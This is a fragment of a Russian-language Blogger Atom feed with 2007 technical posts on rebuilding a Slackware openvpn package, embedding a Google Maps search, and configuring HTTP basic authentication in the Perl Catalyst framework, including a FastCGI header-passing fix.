кода'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-3179755749189377832</id><published>2007-10-19T12:15:00.000+11:00</published><updated>2007-10-19T12:44:15.961+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><title type='text'>Пересборка пакетов Slackware</title><content type='html'>&lt;p&gt;Иногда приходится пересобирать стандартные пакеты Slackware. Зачем? Причины могут быть разные, но чаще всего из-за того, что в стандартной сборке не указаны необходимые опции компиляции.&lt;/p&gt;
&lt;blockquote&gt;Пример 1. Вплоть до Slackware 12 так были вынуждены делать все, кому требовался интерпретатор языка perl с поддержкой многопоточности.&lt;/blockquote&gt;
&lt;blockquote&gt;Пример 2. Не так давно я радовался, что в Slackware 12 включен пакет для создания шифрованных туннелей &lt;a href="http://openvpn.net/"&gt;openvpn&lt;/a&gt;. К сожалению, когда дело дошло до практики мне он оказался совершенно бесполезен без возможности чтения пароля из файла. Опция конфигурации «auth-user-pass /path/to/file» и отвечает за это параметр компиляции «--enable-password-safe».&lt;/blockquote&gt;

&lt;p&gt;Сборка пакетов в Slackware осуществляется с помощью так называемых SlackBuild скриптов. SlackBuild скрипт&amp;nbsp;&amp;mdash; это обычный shell-скрипт, который осуществляет распаковку архива исходного кода программы, возможно наложение патчей, конфигурирование, компиляцию и запаковку в пакет Slackware. Все SlackBuild скрипты для стандартных пакетов Slackware открыты для свободного доступа и могут быть получены по адресу &lt;tt&gt;ftp://ftp.slackware.com/pub/slackware/slackware-&amp;lt;version&amp;gt;/source/&lt;/tt&gt;, где &amp;lt;version&amp;gt;&amp;nbsp;&amp;mdash; это требуемая версия Slackware, одно из «8.1», «9.0», «9.1», «10.0», «10.1», «10.2», «11.0» или «12.0».&lt;/p&gt;

&lt;p&gt;Рассмотрим подробнее процесс пересборки стандартного пакета Slackware на примере пакета openvpn. Сначала выкачиваем всё необходимое для сборки:&lt;/p&gt;

&lt;pre&gt;root@darkstar:~# mkdir /usr/src/openvpn; cd /usr/src/openvpn
root@darkstar:/usr/src/openvpn# wget --recursive --no-directories \
&gt; ftp://ftp.slackware.com/pub/slackware/slackware-12.0/source/n/openvpn
...

root@darkstar:/usr/src/openvpn# ls -la
total 681
drwxr-xr-x 2 root root    264 2007-10-19 08:32 ./
drwxr-xr-x 6 root root    184 2007-10-19 08:30 ../
-rw-r--r-- 1 root root   1375 2007-06-10 01:25 README
-rw-r--r-- 1 root root 669076 2006-10-01 00:00 openvpn-2.0.9.tar.gz
-rw-r--r-- 1 root root    189 2006-10-01 00:00 openvpn-2.0.9.tar.gz.asc
-rw-r--r-- 1 root root   3729 2007-06-12 04:09 openvpn.SlackBuild
-rw-r--r-- 1 root root   6942 2007-06-12 03:48 openvpn.conf.sample
-rw-r--r-- 1 root root    888 2007-06-10 01:23 slack-desc&lt;/pre&gt;

&lt;p&gt;Прежде всего здесь нас интересует файл &lt;tt&gt;openvpn.SlackBuild&lt;/tt&gt;. Применим следующий патч:&lt;/p&gt;

&lt;pre&gt;&lt;font color="#a52a2a"&gt;@@ -23,8 +23,8 @@&lt;/font&gt;
 VERSION=2.0.9
 ARCH=${ARCH:-i486}
 BUILD=${BUILD:-1}
&lt;font color="#6a5acd"&gt;-#TAG=${TAG:-_SBo}
-unset TAG&lt;/font&gt;
&lt;font color="#008b8b"&gt;+TAG=${TAG:-_SBo}
+# unset TAG&lt;/font&gt;
 CWD=`pwd`
 TMP=${TMP:-/tmp}
 PKG=$TMP/pkg-$PRGNAM
&lt;font color="#a52a2a"&gt;@@ -60,6 +60,7 @@&lt;/font&gt;
   --sysconfdir=/etc/openvpn \
   --localstatedir=/var \
   --enable-lzo \
&lt;font color="#008b8b"&gt;+  --enable-password-safe \&lt;/font&gt;
   --build=$ARCH-slackware-linux
 
 make || exit 1&lt;/pre&gt;

&lt;p&gt;Внесенные изменения:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Включена поддержка поля TAG в наименовании пакета. TAG&amp;nbsp;&amp;mdash; это идентификатор создателя пакета, добавляется в самом конце имени файла, после номера сборки. В стандартных пакетах отсутствует, а в дополнительно устанавливаемых крайне желателен.&lt;/li&gt;
&lt;li&gt;Добавлена опция конфигурирования «--enable-password-safe», то, собственно ради чего вся пересборка и затевается.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Запускаем процесс пересборки пакета:&lt;/p&gt;

&lt;pre&gt;root@darkstar:/usr/src/openvpn# chmod +x openvpn.SlackBuild
root@darkstar:/usr/src/openvpn# TAG=nmu OUTPUT=`pwd` ./openvpn.SlackBuild
...

root@darkstar:/usr/src/openvpn# ls -la *.tgz
-rw-r--r-- 1 root root 316375 2007-10-18 17:39 openvpn-2.0.9-i486-1nmu.tgz&lt;/pre&gt;

&lt;p&gt;Если все прошло без ошибок в текущей директории получим файл &lt;tt&gt;openvpn-2.0.9-i486-1nmu.tgz&lt;/tt&gt;. Обновить уже установленный пакет можно с помощью команды:&lt;/p&gt;

&lt;pre&gt;root@darkstar:/usr/src/openvpn# upgradepkg openvpn-2.0.9-i486-1nmu.tgz

+==============================================================================
| Upgrading openvpn-2.0.9-i486-1 package using ./openvpn-2.0.9-i486-1nmu.tgz
+==============================================================================

Pre-installing package openvpn-2.0.9-i486-1nmu...

Removing package /var/log/packages/openvpn-2.0.9-i486-1-upgraded-2007-10-18,17:44:08...

Installing package openvpn-2.0.9-i486-1nmu... 
PACKAGE DESCRIPTION:
openvpn: openvpn (secure IP tunnel daemon)
openvpn:
openvpn: OpenVPN is a full-featured SSL VPN which can accomodate a wide range
openvpn: of configurations, including remote access, site-to-site VPNs, WiFi
openvpn: security, and enterprise-scale remote access with load balancing,
openvpn: failover, and fine-grained access-controls.
openvpn:
openvpn: OpenVPN's home on the net is:  http://openvpn.net
openvpn:
Executing install script for openvpn-2.0.9-i486-1nmu...

Package openvpn-2.0.9-i486-1 upgraded with new package ./openvpn-2.0.9-i486-1nmu.tgz.&lt;/pre&gt;

&lt;p&gt;Все, стандартный пакет Slackware пересобран с необходимыми нам опциями и успешно установлен в системе. Вообще изучение стандартных SlackBuild скриптов это хорошая отправная точка для написания собственных. В конце пара ссылок:&lt;/p&gt;
&lt;dl&gt;
&lt;dt&gt;&lt;a href="http://www.linuxpackages.net/howto.php"&gt;http://www.linuxpackages.net/howto.php&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Документация по сборке пакетов для Slackware.&lt;/dd&gt;
&lt;dt&gt;&lt;a href="http://www.slackbuilds.org/"&gt;http://www.slackbuilds.org&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Репозитарий SlackBuild скриптов для многих программ, официально не входящих в дистрибутив.&lt;/dd&gt;
&lt;/dl&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-3179755749189377832?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/3179755749189377832/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=3179755749189377832' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/3179755749189377832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/3179755749189377832'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/10/slackware.html' title='Пересборка пакетов Slackware'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-2510164502500999684</id><published>2007-09-20T15:35:00.000+11:00</published><updated>2007-09-20T16:02:33.251+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='жизнь'/><title type='text'>Поиск в Google Maps</title><content type='html'>&lt;p&gt;Врядли кто-то из жителей Комсомольска-на-Амуре знает где находится улица Путейская. Конечно кроме непосредственно живущих на ней :-). Когда мне там что-то понадобилось, блиц-опрос окружающих ничего не дал. Как ни странно, в итоге мне помог интернет, а конкретно поиск на сервисе &lt;a href="http://maps.google.com"&gt;Google Maps&lt;/a&gt;. Достаточно было в поисковую строку ввести фразу «Комсомольск-на-Амуре, ул. Путейская» и сразу получил карту города отцентрованную на искомой улице. А также возможнось встроить фрагмент карты в веб-страничку, чем здесь и воспользовался:&lt;/p&gt;

&lt;p&gt;
&lt;iframe width="640" height="480" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="http://maps.google.com/maps?f=q&amp;amp;hl=ru&amp;amp;geocode=&amp;amp;q=%D0%9A%D0%BE%D0%BC%D1%81%D0%BE%D0%BC%D0%BE%D0%BB%D1%8C%D1%81%D0%BA-%D0%BD%D0%B0-%D0%90%D0%BC%D1%83%D1%80%D0%B5,+%D1%83%D0%BB.+%D0%9F%D1%83%D1%82%D0%B5%D0%B9%D1%81%D0%BA%D0%B0%D1%8F&amp;amp;sll=50.55157,137.030381&amp;amp;sspn=0.017997,0.039997&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;s=AARTsJoHHPwl-SK1Q8BppaBd1kuZmbavHg&amp;amp;ll=50.558106,137.034616&amp;amp;spn=0.026173,0.054932&amp;amp;z=14&amp;amp;iwloc=addr&amp;amp;output=embed"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href="http://maps.google.com/maps?f=q&amp;amp;hl=ru&amp;amp;geocode=&amp;amp;q=%D0%9A%D0%BE%D0%BC%D1%81%D0%BE%D0%BC%D0%BE%D0%BB%D1%8C%D1%81%D0%BA-%D0%BD%D0%B0-%D0%90%D0%BC%D1%83%D1%80%D0%B5,+%D1%83%D0%BB.+%D0%9F%D1%83%D1%82%D0%B5%D0%B9%D1%81%D0%BA%D0%B0%D1%8F&amp;amp;sll=50.55157,137.030381&amp;amp;sspn=0.017997,0.039997&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=50.558106,137.034616&amp;amp;spn=0.026173,0.054932&amp;amp;z=14&amp;amp;iwloc=addr&amp;amp;source=embed" style="color:#0000FF;text-align:left"&gt;Просмотреть увеличенную карту&lt;/a&gt;&lt;/small&gt;
&lt;/p&gt;

&lt;p&gt;А улица Путейская оказалась в той ещё жопе, не удивительно что раньше я про неё не слышал.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-2510164502500999684?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/2510164502500999684/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=2510164502500999684' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2510164502500999684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2510164502500999684'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/09/google-maps.html' title='Поиск в Google Maps'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-1270137437059816499</id><published>2007-09-03T16:15:00.000+11:00</published><updated>2007-09-03T16:37:35.900+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catalyst'/><title type='text'>Catalyst, HTTP авторизация и FastCGI</title><content type='html'>&lt;p&gt;Описанный ранее способ использования &lt;a href="http://xeim.blogspot.com/2007/08/http-catalyst.html"&gt;http-авторизации в Catalyst&lt;/a&gt; проектах упорно не хотел работать с &lt;a href="http://www.fastcgi.com"&gt;FastCGI протоколом&lt;/a&gt;. Использовалось:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Веб-сервер apache версии 2.2.x.&lt;/li&gt;
&lt;li&gt;Модуль подержки протокола FactCGI для веб-сервера apache&amp;nbsp;&amp;mdash; &lt;a href="http://www.fastcgi.com/dist/mod_fastcgi-2.4.2.tar.gz"&gt;mod_fascgi версии&amp;nbsp;2.4.2&lt;/a&gt;. Кстати, mod_fastcgi для apache 2.2 без небольшого патча не собирается. Смотри &lt;a href="http://www.fastcgi.com/archives/fastcgi-developers/2005-December/004060.html"&gt;здесь&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Движок Catalyst для обработки запросов по протоколу FastCGI&amp;nbsp;&amp;mdash; &lt;tt&gt;Catalyst::Engine::FastCGI&lt;/tt&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;В итоге оказалось две причины:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;По протоколу CGI http-заголовок Authorization должен передаваться внешнему приложению в качестве одноименной переменной окружения. Почему-то модуль mod_fastcgi по-умолчанию этого не делает, однако предусматривает специальную опцию -pass-header при передаче запроса FastCGI обработчику. Пример использования в файле конфигурации apache&amp;nbsp;&amp;mdash; httpd.conf:&lt;/p&gt;

&lt;pre&gt;FastCgiServer                           \
    /root/MyApp/script/myapp_fastcgi.pl \
    -pass-header Authorization&lt;/pre&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;После этого стала доступна переменная окружения Authorization, однако плугин &lt;tt&gt;Authentication::Credential::HTTP&lt;/tt&gt; всё ещё не работал! Дальше пришлось залезть в исходники библиотек Catalyst. Ошибка обнаружилась не в движке &lt;tt&gt;Catalyst::Engine::FastCGI&lt;/tt&gt;, а в его базовом классе &lt;tt&gt;Catalyst::Engine::CGI&lt;/tt&gt;. Из чего с увереностью можно сказать, что и движок &lt;tt&gt;Catalyst::Engine::CGI&lt;/tt&gt; некорректно работает с http-авторизацией. После внесения следующих исправлений всё встало на свои места:&lt;/p&gt;

&lt;pre&gt;&lt;font color="#a52a2a"&gt;@@ -95,7 +95,7 @@&lt;/font&gt;
 
     # Read headers from %ENV
     while ( my ( $header, $value ) = each %ENV ) {
&lt;font color="#6b5bcd"&gt;-        next unless $header =~ /^(?:HTTP|CONTENT|COOKIE)/i;&lt;/font&gt;
&lt;font color="#289d9d"&gt;+        next unless $header =~ /^(?:HTTP|CONTENT|COOKIE|Authorization)/i;&lt;/font&gt;
         ( my $field = $header ) =~ s/^HTTPS?_//;
         $c-&gt;req-&gt;headers-&gt;header( $field =&gt; $value );
     }&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;На моё сообщение в список рассылки Catalyst не последовало никакой реакции и ошибка сохраняется до сих пор&amp;nbsp;&amp;mdash; версия &lt;tt&gt;Catalyst::Runtime&lt;/tt&gt;&amp;nbsp;5.7010 на текущий момент.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-1270137437059816499?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/1270137437059816499/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=1270137437059816499' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/1270137437059816499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/1270137437059816499'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/09/catalyst-http-fastcgi.html' title='Catalyst, HTTP авторизация и FastCGI'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-4300017104861165112</id><published>2007-08-29T16:01:00.000+11:00</published><updated>2007-08-29T17:15:01.959+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catalyst'/><title type='text'>HTTP-авторизация и Catalyst</title><content type='html'>&lt;p&gt;Протокол HTTP предоставляет возможность авторизации пользователя по имени и паролю. Вкратце схема работы выглядит так:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Веб-браузер посылает обычный http-запрос на доступ к запороленному ресурсу на веб-сервере. Пример:&lt;/p&gt;
&lt;pre&gt;GET / HTTP/1.1
...&lt;/pre&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Веб-сервер или веб-приложение формируют http-ответ с кодом 401 и требованием авторизации. Пример basic авторизации:&lt;/p&gt;
&lt;pre&gt;HTTP/1.0 401 Unauthorized
WWW-Authenticate: Basic realm="need authorization"
...&lt;/pre&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Веб-браузер отображает окно авторизации. Например так:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://picasaweb.google.com/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5103985593611430898"&gt;&lt;img src="http://lh6.google.com/xeimxeim/RtT_2vXrq_I/AAAAAAAAABk/J2qhjdmuloY/s400/Screenshot-%D0%98%D0%BC%D1%8F%20%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8F%20%D0%B8%20%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8C-1.gif" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;И после ввода данных посылает второй запрос к веб-ресурсу, содержащий base64-кодированный заголовок Authorization:&lt;/p&gt;
&lt;pre&gt;GET / HTTP/1.1
Authorization: Basic YWRtaW46c2VjcmV0
...&lt;/pre&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Веб-приложение проверяет правильность имени и пароля. Если проверка успешна, выдает нормальный http-ответ:&lt;/p&gt;
&lt;pre&gt;HTTP/1.0 200 OK
...&lt;/pre&gt;
&lt;p&gt;Если проверка не успешна, то повторяется http-ответ с кодом 401. При этом в теле http-ответа уже может содержаться дополнительная информация, объясняющая причину отказа.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Про http-авторизацию можно почитать в &lt;a href="http://www.ietf.org/rfc/rfc2068.txt?number=2068"&gt;rfc 2068&lt;/a&gt;. Или в русском переводе этого &lt;a href="http://s-k.al.ru/HTTP1_1.html"&gt;rfc&lt;/a&gt;. Механизм http-авторизации не лишен недостатков. Подробно они описаны в статье «Базовая HTTP-авторизация — защита от честных людей» Алексея Мичурина, опубликованной в журнале «Системный администратор» &lt;a href="http://www.samag.ru/cgi-bin/go.pl?q=content;n=2005;a=05"&gt;№5 за 2005 г.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Мы рассмотрим использование http-авторизации c perl &lt;a href="http://www.catalystframework.org"&gt;веб-фреймворком Catalyst&lt;/a&gt;. Для Catalyst существует плугин Catalyst::Plugin::Authentication реализующий основу любой авторизации. Но чтобы его использовать нужны ещё два плугина:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Credential — метод получения информации о пользователе. Доступны такие:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Password — авторизация по логину и паролю полученному, например, через веб-форму.&lt;/li&gt;
&lt;li&gt;HTTP — получение информации о пользователе через http-авторизацию. Именно этим плугином и воспользуемся.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://search.cpan.org/search?query=Catalyst%3A%3APlugin%3A%3AAuthentication%3A%3ACredential&amp;mode=all"&gt;Прочие&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Store — способ хранения и проверки полученной информации. Возможные хранилища:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DBIC — хранение информации о пользователях в базе данных, с доступом к ней через ORM, например DBIx::Class.&lt;/li&gt;
&lt;li&gt;Htpasswd — излечение информации из htpasswd файлов, создаваемых одноименной утилитой, входящей в комплект веб-сервера apache. Воспользуемся этим плугином.&lt;/li&gt;
&lt;li&gt;Minimal — данные о пользователях хранятся внутри конфигурации Catalyst-проекта.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://search.cpan.org/search?query=Catalyst%3A%3APlugin%3A%3AAuthentication%3A%3AStore&amp;amp;mode=all"&gt;Прочие&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Итак, нам будут нужны следующие установленные perl-модули, естественно, со всеми зависимостями:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Catalyst::Devel&lt;/li&gt;
&lt;li&gt;Catalyst::Plugin::Authentication&lt;/li&gt;
&lt;li&gt;Catalyst::Plugin::Authentication::Credential::HTTP&lt;/li&gt;
&lt;li&gt;Catalyst::Plugin::Authentication::Store::Htpasswd&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Создаем заготовку проекта на фреймворке Catalyst с названием MyApp.&lt;/p&gt;

&lt;pre&gt;root@darkstar:~# catalyst.pl MyApp
created "MyApp"
created "MyApp/script"
created "MyApp/lib"
created "MyApp/root"
created "MyApp/root/static"
created "MyApp/root/static/images"
created "MyApp/t"
created "MyApp/lib/MyApp"
created "MyApp/lib/MyApp/Model"
created "MyApp/lib/MyApp/View"
created "MyApp/lib/MyApp/Controller"
created "MyApp/myapp.yml"
created "MyApp/lib/MyApp.pm"
created "MyApp/lib/MyApp/Controller/Root.pm"
created "MyApp/README"
created "MyApp/Changes"
created "MyApp/t/01app.t"
created "MyApp/t/02pod.t"
created "MyApp/t/03podcoverage.t"
created "MyApp/root/static/images/catalyst_logo.png"
created "MyApp/root/static/images/btn_120x50_built.png"
created "MyApp/root/static/images/btn_120x50_built_shadow.png"
created "MyApp/root/static/images/btn_120x50_powered.png"
created "MyApp/root/static/images/btn_120x50_powered_shadow.png"
created "MyApp/root/static/images/btn_88x31_built.png"
created "MyApp/root/static/images/btn_88x31_built_shadow.png"
created "MyApp/root/static/images/btn_88x31_powered.png"
created "MyApp/root/static/images/btn_88x31_powered_shadow.png"
created "MyApp/root/favicon.ico"
created "MyApp/Makefile.PL"
created "MyApp/script/myapp_cgi.pl"
created "MyApp/script/myapp_fastcgi.pl"
created "MyApp/script/myapp_server.pl"
created "MyApp/script/myapp_test.pl"&lt;/pre&gt;

&lt;p&gt;Чтобы убедится что всё прошло успешно, запустим проект на встроенном в Catalyst тестовом веб-сервере.&lt;/p&gt;

&lt;pre&gt;root@darkstar:~# MyApp/script/myapp_server.pl
[debug] Debug messages enabled
[debug] Loaded plugins:
.----------------------------------------------------------------------------.
| Catalyst::Plugin::ConfigLoader  0.14                                       |
| Catalyst::Plugin::Static::Simple  0.19                                     |
'----------------------------------------------------------------------------'

[debug] Loaded dispatcher "Catalyst::Dispatcher"
[debug] Loaded engine "Catalyst::Engine::HTTP"
[debug] Found home "/root/MyApp"
[debug] Loaded Config "/root/MyApp/myapp.yml"
[debug] Loaded components:
.-----------------------------------------------------------------+----------.
| Class                                                           | Type     |
+-----------------------------------------------------------------+----------+
| MyApp::Controller::Root                                         | instance |
'-----------------------------------------------------------------+----------'

[debug] Loaded Private actions:
.----------------------+--------------------------------------+--------------.
| Private              | Class                                | Method       |
+----------------------+--------------------------------------+--------------+
| /default             | MyApp::Controller::Root              | default      |
| /end                 | MyApp::Controller::Root              | end          |
'----------------------+--------------------------------------+--------------'

[info] MyApp powered by Catalyst 5.7007
You can connect to your server at http://darkstar:3000&lt;/pre&gt;

&lt;p&gt;Как видно, всё замечательно работает. Теперь мы можем обращаться на 3000 порт тестового сервера из браузера и видеть приветственную заставку по умолчанию.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://picasaweb.google.com/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5103987491986975746"&gt;&lt;img src="http://lh5.google.com/xeimxeim/RtUBlPXrrAI/AAAAAAAAAB0/Ei5bVX542Qo/s400/Catalyst%20default.gif" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Начинаем прикручивать http-авторизацию. Открываем основной модуль приложения /MyApp/lib/MyApp.pm, находим строчку, отвечающую за загрузку плугинов:&lt;/p&gt;

&lt;pre&gt;use Catalyst qw/-Debug ConfigLoader Static::Simple/;&lt;/pre&gt;

&lt;p&gt;И меняем её на:&lt;/p&gt;

&lt;pre&gt;use Catalyst qw/
    -Debug

    ConfigLoader
    Static::Simple

    Authentication
    Authentication::Store::Htpasswd
    Authentication::Credential::HTTP
/;&lt;/pre&gt;

&lt;p&gt;Добавляя таким образом загрузку необходимых плугинов авторизации. Теперь изменим файл конфигурации проекта. Открываем /MyApp/myapp.yml и вставляем следующие строчки:&lt;/p&gt;

&lt;pre&gt;---
name: MyApp

authentication:
  htpasswd: /root/MyApp/myapp.htpasswd
  http:
    type: basic&lt;/pre&gt;

&lt;p&gt;Это файл в странном формате &lt;a href="http://ru.wikipedia.org/wiki/YAML"&gt;YAML&lt;/a&gt;, так что соблюдение всех отступов обязательно. Зато он людьми воспринимается легче чем, например, XML. Желающие изучить вопрос могут начать с последней версии &lt;a href="http://yaml.org/spec/current.html"&gt;YAML спецификации&lt;/a&gt; :-) . Для проверки синтаксиса *.yml файла можно использовать утилиту ysh из perl модуля YAML.pm:&lt;p&gt;

&lt;pre&gt;root@darkstar:~# cat MyApp/myapp.yml | ysh
$VAR1 = {
  'name' =&gt; 'MyApp',
  'authentication' =&gt; {
    'htpasswd' =&gt; '/root/MyApp/myapp.htpasswd',
    'http' =&gt; {
      'type' =&gt; 'basic'
    }
  }
};&lt;/pre&gt;

&lt;p&gt;Если проверка завершается успешно, то на выходе видим соответствующую perl структуру данных. Далее создаем htpasswd файл:&lt;/p&gt;

&lt;pre&gt;root@darkstar:~# htpasswd -c /root/MyApp/myapp.htpasswd admin
New password:
Re-type new password:
Adding password for user admin
root@darkstar:~# cat /root/MyApp/myapp.htpasswd
admin:mLT84dDiy3H7U&lt;/pre&gt;

&lt;p&gt;Теперь для авторизированного доступа к определенному action в него достаточно добавить одну строчку кода. Например для доступа ко всем action контроллера Root.pm используем специальный action — auto. Добавим следующие строчки к файлу MyApp/lib/MyApp/Controller/Root.pm:&lt;/p&gt;

&lt;pre&gt;sub auto : Private {
    my ( $self, $c ) = @_;
    $c-&gt;authorization_required( realm =&gt; 'catalyst http authorization' );
}&lt;/pre&gt;

&lt;p&gt;Всё, задача выполнена. Опять запускаем тестовый web-сервер:&lt;/p&gt;

&lt;pre&gt;root@darkstar:~# MyApp/script/myapp_server.pl
[debug] Debug messages enabled
[debug] Loaded plugins:
.----------------------------------------------------------------------------.
| Catalyst::Plugin::Authentication  0.10002                                  |
| Catalyst::Plugin::Authentication::Credential::HTTP  0.09                   |
| Catalyst::Plugin::Authentication::Store::Htpasswd  0.02                    |
| Catalyst::Plugin::ConfigLoader  0.14                                       |
| Catalyst::Plugin::Static::Simple  0.19                                     |
'----------------------------------------------------------------------------'

[debug] Loaded dispatcher "Catalyst::Dispatcher"
[debug] Loaded engine "Catalyst::Engine::HTTP"
[debug] Found home "/root/MyApp"
[debug] Loaded Config "/root/MyApp/myapp.yml"
[debug] Loaded components:
.-----------------------------------------------------------------+----------.
| Class                                                           | Type     |
+-----------------------------------------------------------------+----------+
| MyApp::Controller::Root                                         | instance |
'-----------------------------------------------------------------+----------'

[debug] Loaded Private actions:
.----------------------+--------------------------------------+--------------.
| Private              | Class                                | Method       |
+----------------------+--------------------------------------+--------------+
| /default             | MyApp::Controller::Root              | default      |
| /end                 | MyApp::Controller::Root              | end          |
| /auto                | MyApp::Controller::Root              | auto         |
'----------------------+--------------------------------------+--------------'

[info] MyApp powered by Catalyst 5.7007
You can connect to your server at http://darkstar:3000&lt;/pre&gt;

&lt;p&gt;Обратите внимание на лог обработки http-запросов:&lt;/p&gt;

&lt;pre&gt;[info] *** Request 1 (0.143/s) [5722] [Wed Aug 29 12:52:36 2007] ***
[debug] "GET" request for "/" from "172.16.197.1"
[debug] Checking http basic authentication.
[info] Request took 0.015420s (64.851/s)
.----------------------------------------------------------------+-----------.
| Action                                                         | Time      |
+----------------------------------------------------------------+-----------+
| /auto                                                          | 0.002696s |
| /end                                                           | 0.000278s |
'----------------------------------------------------------------+-----------'

[info] *** Request 2 (0.125/s) [5722] [Wed Aug 29 12:52:45 2007] ***
[debug] "GET" request for "/" from "172.16.197.1"
[debug] Checking http basic authentication.
[debug] Successfully authenticated user 'admin'.
[info] Request took 0.025378s (39.404/s)
.----------------------------------------------------------------+-----------.
| Action                                                         | Time      |
+----------------------------------------------------------------+-----------+
| /auto                                                          | 0.013852s |
| /default                                                       | 0.001557s |
| /end                                                           | 0.000250s |
'----------------------------------------------------------------+-----------'&lt;/pre&gt;

&lt;p&gt;Первый запрос «Request 1» ещё не содержит информации об авторизации. Action обработчик default так и не был выполнен. Запрос «Request 2» уже содержит заполненный http-заголовок Authorization. По этим данным успешно авторизуется пользователь admin. Управление передается action-у, отвечающему за запрошенный урл — default.&lt;/p&gt;

